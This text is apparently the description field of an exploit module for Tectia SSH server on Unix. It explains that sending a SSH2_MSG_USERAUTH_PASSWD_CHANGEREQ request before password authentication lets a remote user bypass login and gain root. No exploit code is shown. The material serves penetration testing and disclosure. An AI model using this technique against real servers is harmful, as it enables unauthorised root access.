          This module exploits a vulnerability in Tectia SSH server for Unix-based
        platforms.  The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
        before password authentication, allowing any remote user to bypass the login
        routine, and then gain access as root.
